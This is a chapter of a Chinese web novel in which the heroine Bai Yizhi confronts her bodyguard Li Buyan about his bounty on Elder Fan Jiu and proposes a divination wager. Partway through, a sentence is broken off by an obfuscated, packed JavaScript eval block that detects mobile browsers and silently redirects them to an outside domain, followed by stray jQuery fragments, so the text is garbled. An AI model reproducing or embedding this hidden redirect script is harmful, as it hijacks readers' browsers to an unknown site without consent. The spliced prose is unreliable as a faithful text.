15. 秦淮霜落故园秋

作品:《白姑娘今日卜卦了吗

    雕花木门被叩响的余音在寂静的庭院尚未散尽,黑暗仿佛凝固了一瞬,白宜之些微颤抖的声音传入门内。


    李不言靠窗而立,双眼盯向门口,眼神在黑暗中闪烁,带着三分探究七分了然,手指不自觉轻点了两下窗沿。


    白宜之静静等待须臾,脸色在黑暗中愈发苍白,垂下来紧紧抓着锦绣袋的手用力到发颤。


    可两句话出口,没有预想中的暴怒呵斥,也没有冰冷锋刃破门而出。只有深沉的,令人窒息的寂静,叫人心里没由来地有些发毛。


    她听见自己擂鼓般的心跳声撞击着耳膜,在寂静的走廊显得格外清晰。


    就在白宜之几乎以为李不言要对她不屑一顾,准备再次抬手叩门时——


    “吱呀——”


    木门毫无征兆地向内拉开一条缝隙,不宽,却足够让白宜之看清门内浓稠的黑暗。


    白宜之鼻尖呼出一口浊气,小心翼翼抬步越过门槛。


    屋内没有烛火,只有清冷的月光从窗棂漏入,勉强勾勒出一个倚窗而站的模糊轮廓。


    李不言就那样站在窗下,月光投在他身上,白宜之却仍看不清他脸上的神情,唯有那双素来冷漠恶劣的双眼在昏暗中亮得惊人。


    两人沉默片刻,房间内寂静僵持的气氛如同冰雪覆盖整片大地,冻住所有温暖。


    白宜之默默攥紧龟壳,掌心被龟壳到棱角硌得有些疼,细微的疼痛维系着她现在摇摇欲坠的勇气。


    闭了闭眼,深吸一口气,走近李不言,轻而缓慢地重复一句:“李不言,我们谈谈。”


    李不言沉默一秒,在黑暗中挑了挑眉,嗤笑道:“行啊,白大小姐要和我这个孤僻古怪的护卫谈什么?”


    他声音不高,如同往常般懒洋洋。


    白宜之忍下李不言的阴阳怪气,眼睛朝四周看了看,小声问了一句:“可以先点灯吗?”


    李不言站直身子,居高临下地看着白宜之,忽而轻哼出声,好似在讥讽少女此刻对黑暗的胆战心惊。


    从怀中拿出火折子,吹燃一瞬,往灯架上的烛台随手一抛,霎时,昏黄烛光便照亮大半间屋子。


    李不言收起火折子,宽而长的身影笼罩住白宜之,“说,你要谈什么?”


    白宜之忍不住后退,腰背抵住背后的木桌,包着纱布的左手不由自主反压在桌上,仰着头,注视着面前带着一丝讥诮笑意的男人。


    沉默几秒,白宜之挺直脊背,指尖紧紧按在桌面上,竭尽全力让自己的表情看起来更真挚,语气更有歉意:“……昨夜的事,对不起。我……实在不愿听见有人这般说我娘,一时冲动,这才打了你,实在对不起啊李不言。”


    今日李不言呛了她一天,她自然知道他在为昨日打了他一巴掌而生气。


    若非情势所迫,白宜之必然不会主动软下态度同李不言道歉,也不会刻意接近他一分一毫。


    李不言转身坐在椅子上,听见这话,挑起一边眉毛,乜斜着眼,玩味的眼神投向白宜之,似乎在琢磨她话中有几分真几分假,又似乎有些意外她竟然会先说出这样一段话。


    原以为,她会直接开门见山呢。


    “不过一巴掌而已,哪里值得大小姐亲自向一个保镖道歉。”李不言靠着椅子,手指有一下没一下地点着桌面,“行了别说些有的没的,赶紧告诉我,你要跟我谈什么。”


    白宜之闻言,缓缓与李不言拉开距离,坐在他对面,隔着一整张木桌。


    双手放在膝间,紧紧按住膝盖,垂眸盯着木桌上的茶盏,抿了抿唇,轻声开口:“我虽然不知道你为什么发现了我是临安白氏的小姐,还发现我逃出来是为了找我娘。但我也知道了你的真实身份。如此,我们俩也算是知根知底,互交底细,那——”


    李不言皱眉,手握成拳,猛地捶了下桌子,桌上茶盏发出一阵咣啷声。


    “再顾左右而言他,立马把你扔出去。”


    白宜之紧紧按住膝盖,手指几乎透过衣裳布料掐入皮肉,掀起眼皮,长而密的睫毛颤动一瞬,眼神中的害怕慌乱一闪而过,“那你告诉我……你的悬赏是不是还没有结束?你来金陵不是来参加试剑大会也不是来见剑仙,而是来杀,范鸠的,是不是?”


    屋内气氛霎时降至冰点,灯架上的烛火闪了又闪,火光昏暗微弱。


    李不言身体微微前倾,鹰视狼顾地扫视着白宜之,嘴角微微上扬,露出他惯有的讥诮讽刺的笑容,“是又如何,不是又如何。”


    他眯了眯眼,笑容加深,状似随口反问白宜之:“白兆安,你对他这么关注,难道你昨日算出来的卦,与他有关?”


    白宜之看着李不言这副模样,听见这句话,不由愣了下。瞧见他眼里的恶劣玩味,忽然觉得,李不言其实一直在等她问出那句话,也一直想问她这句话。


    故意激怒萧云策,引开萧云策,故意开门让她进来,只为打探她的目的。


    似乎那双凤眼的主人已将白宜之看透。


    “李不言,”白宜之深呼吸,顿了片刻,抬起头直视李不言,似下定决心,奋力一搏般继续说着,“我,我不是什么门派江湖人,不会告诉任何人你的真实身份。我来江湖只是想找到我娘,找到我娘我们立马就分道扬镳。而且——”


    白宜之眼神黯了黯,脑中快速闪过父亲教她时模糊的画面。


    父亲虽是个商人,但学识渊博不亚于书院先生。不忙的时候总会亲自教导她与哥哥,可惜她对那些兵法、权术、商判之道实在不感兴趣,学得稀里糊涂。


    是以此刻绞尽脑汁,都只抓住一点儿模糊的影子,想不起来再多。


    李不言等了片刻,手指叩了两下桌面,有些不耐烦,“喉咙卡刺了?剩下的话吐不出来了吗。”


    白宜之闻言,焦急欲言、思绪混乱之际,想起父亲曾坐在书房内,对哥哥说过一句话。


    父亲沉静平稳的声音忽而无比清晰地撞入脑海:“凡说之难,在知所说之心。”


    凡说之难,在知所说之心。


    这句话骤然令白宜之灵光一闪,又瞄了一眼李不言,想到自己接下来要对李不言说的话,心中暗暗为自己打气,竭力克制声音的颤抖:


    “而且,我猜你做我的保镖,并非只为一月一袋的金叶子,你可能有必须用到我的事情要做,而我也有需要用到你的事情要做。所以李不言,你不用对我这么防备,我们现在,正如你先前所说的那样,是合作关系。既然是合作,那么我们应当坦诚相待,毫无隐瞒。你觉得呢?”


    话音落地,李不言原本懒散的气息霎时收敛,取而代之的是一股沉重的,带着审视意味的压迫感。


    屋内空气沉重几分。


    李不言那双眼睛如鹰隼般紧紧锁着白宜之,仿佛要将她的每一寸表情情绪都仔细剥开,一探究竟。


    “呵。”


    喉咙间忽而发出一声极轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759938|172577||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    极冷的嗤笑,“白兆安,你说了一大堆,还是没有回答我的问题。你要是回答了,或许我可以考虑你的提议。”


    白宜之愣怔片刻,咬了咬牙,挣扎几番,还是回答道:“是。我卜卦算到我娘踪迹,而范鸠……这个范长老,是关键之人,他或许知道我娘在哪,或者,我娘失踪,与他有关。”


    李不言听见关键之人四字,指尖微动,眼低掠过一丝果然如此的讽刺,嘴角勾起一丝带着讥嘲的冷笑,斜睨着白宜之。


    还真是神棍一个,竟然能把她认为如此重要的事情全权交给卜卦算命,随便卜出来一个人就成为关键之人。


    可笑至极。


    “所以!”白宜之不知李不言心中所想,声音抬高喊了句,李不言不自觉皱眉,白宜之顿了顿,手指比了个二字,声音软了下来,哀求又坚决,“所以,你能不能给我两日时间,就两日。让我向他问清楚这件事。等我问清楚了,我不管你杀不杀他,一切都按照你们江湖规矩来,我绝不会干预你做任何事。”


    “两日?”


    “哼。白宜之,我该说你无知,还是该骂你愚蠢呢。”李不言不屑轻哼出声,支着胳膊撑在桌上,以手托腮,看向白宜之,“就因这个莫名其妙的卦,你就要我浪费两日光景。几个破铜板扔出来的卦象,你凭什么认定范鸠一定知道你娘的下落?


    就算你的卦准的不得了,范鸠确实知道你娘在哪,可你以为范鸠是什么良善之辈吗?你觉得他会乖乖告诉你?你拿什么问?你的银子还是你的天真?若他真绑架了你娘,只怕你问出口的瞬间,脑袋就得搬家,身体就得喂野狗。”


    李不言恶毒之语好似给了白宜之当头一棒,砸得她晕头转向,脸色煞白。


    浑身冰冷,如坠冰窖。


    天下用刀第一人,万阐宗的血刀长老,就算表面上温润如玉,到底也是武林高手。


    若贸贸然去问失踪了七年的母亲与他、与万阐宗是否有关……想起今日初见范鸠的略微不适,又想起那日青石巷中赵介等人可怖的一面。


    白宜之突然意识到自己的计划多么可笑幼稚。


    巨大的绝望笼罩着白宜之,头顶霎时阴云密布,又要落下大雨,浇灭她唯一的希望。


    几乎是下意识探进锦绣袋,攥紧龟壳。


    她不甘心,因为这是现下唯一有用,唯一明确的线索了。


    指尖一抖,触碰到夹层里的断钗。


    母亲……


    闭眼又睁眼,好似看见记忆中的杏花飘落,面前缓缓浮现出母亲模糊又温柔的模样。


    白宜之忽然缓缓镇静下来。


    她好像被李不言带偏了,当务之急,是让李不言暂缓悬赏杀人,至于如何问范鸠,向范鸠套近乎……总会有办法的。


    想了片刻,纠结须臾,下定决心。


    在李不言满是嘲笑的注视下,取出三枚天元通宝,摊在手心,轻声又镇定地问李不言:“李不言,若我卜出你明日会做些什么,会发生什么,以明日子时一刻为期,子时一刻之前若一一应验,你能不能答应我的请求。”


    话音落下,空气骤然绷紧,凝滞瞬冷。


    李不言坐直身子,眼底讥诮笑意凝固须臾,瞬间褪尽,取而代之的是深不见底的寒潭。寒潭之下,是冰冷的审视,还有一丝不易察觉的暴戾。


    敛去眼底情绪,复又抬眼,睫毛微颤,目光似淬毒银针,落在对面少女紧攥的右手上。